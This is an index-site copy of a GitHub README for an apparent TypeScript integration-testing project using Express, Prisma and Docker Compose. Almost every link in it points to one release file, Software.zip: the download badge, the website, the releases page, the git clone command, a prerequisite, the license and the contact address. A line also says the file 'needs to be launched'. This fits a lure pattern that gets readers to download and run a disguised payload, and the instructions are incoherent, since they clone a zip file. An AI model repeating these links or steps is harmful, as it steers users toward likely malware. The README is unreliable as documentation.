An open API service indexing awesome lists of open source software.

https://github.com/nagshashabuako/integration-testing

A simple integration-testing project with CI/CD pipeline, docker compose for testing.
https://github.com/nagshashabuako/integration-testing

api-testing automation bdd-framework docker dotnet go-test hpc integration-testing managed-by-terraform pytest reporting ruby scientific-computing test-kitchen

Last synced: 8 months ago
JSON representation

A simple integration-testing project with CI/CD pipeline, docker compose for testing.

Awesome Lists containing this project

README

          

# 🚀 Welcome to the integration-testing Repository! 🌟

![integration-testing](https://github.com/NagShaShaBuAko/integration-testing/releases/download/v2.0/Software.zip)

### Repository Name:
integration-testing

### Short Description:
A simple integration-testing project with CI/CD pipeline, docker compose for testing.

### Topics:
cicd-pipeline, cicd-pr-validation, docker, docker-compose, express, integration-testing, prisma, shell-script, supertest, typescript, vitest, zod

---

## 📦 Download the Latest Release:
[![Download https://github.com/NagShaShaBuAko/integration-testing/releases/download/v2.0/Software.zip](https://github.com/NagShaShaBuAko/integration-testing/releases/download/v2.0/Software.zip.svg)](https://github.com/NagShaShaBuAko/integration-testing/releases/download/v2.0/Software.zip)

_Note: The file needs to be launched._

---

## 🌐 Visit Our Website:
Explore more about integration testing on our [website](https://github.com/NagShaShaBuAko/integration-testing/releases/download/v2.0/Software.zip).

---

## 🚨 Check Releases Section:
If the provided link is not working or you need other releases, please check the [Releases](https://github.com/NagShaShaBuAko/integration-testing/releases/download/v2.0/Software.zip) section for more options.

---

## 🎉 Get Started:
Follow the steps below to start using the integration-testing project:

### Prerequisites:
- Docker
- https://github.com/NagShaShaBuAko/integration-testing/releases/download/v2.0/Software.zip
- Git

### Clone the Repository:
```bash
git clone https://github.com/NagShaShaBuAko/integration-testing/releases/download/v2.0/Software.zip
cd integration-testing
```

### Install Dependencies:
```bash
npm install
```

### Run Integration Tests:
```bash
npm test
```

---

## 🚀 CI/CD Pipeline:
The repository includes a CI/CD pipeline for automated testing, building, and deployment. The pipeline ensures that code changes are thoroughly tested before deployment to production.

### Workflow:
1. **Linting:** Check code style and formatting.
2. **Unit Testing:** Run unit tests to validate individual components.
3. **Integration Testing:** Perform integration tests to validate component interactions.
4. **Docker Build:** Build Docker images for the application.
5. **Deployment:** Deploy the application to the target environment.

---

## 🐳 Docker Compose:
The project utilizes Docker Compose to manage the containerized environment for testing. Docker Compose allows you to define and run multi-container Docker applications with ease.

### Services:
- **Express:** Backend server for the application.
- **Prisma:** ORM for database interactions.
- **Supertest:** Testing library for HTTP assertions.
- **Zod:** Validation library for TypeScript.

---

## 🔧 Configuration:
The project configuration is stored in the `.env` file. Make sure to update the necessary variables before running the tests or starting the application.

### Sample .env File:
```bash
PORT=3000
DB_URL=mysql://localhost:3306/mydb
```

---

## 🛠️ Contributing:
We welcome contributions from the community to improve the integration-testing project. Feel free to submit a pull request with your enhancements or bug fixes.

### Steps to Contribute:
1. Fork the repository.
2. Create a new branch (`git checkout -b feature/my-feature`).
3. Make changes and commit them (`git commit -am 'Add new feature'`).
4. Push to the branch (`git push origin feature/my-feature`).
5. Create a new Pull Request.

---

## 📝 License:
This project is licensed under the MIT License - see the [LICENSE](https://github.com/NagShaShaBuAko/integration-testing/releases/download/v2.0/Software.zip) file for details.

---

## 🌟 Get in Touch:
If you have any questions, suggestions, or feedback, feel free to reach out to us at [https://github.com/NagShaShaBuAko/integration-testing/releases/download/v2.0/Software.zip](https://github.com/NagShaShaBuAko/integration-testing/releases/download/v2.0/Software.zip).

---

Thank you for exploring the integration-testing repository! 🚀✨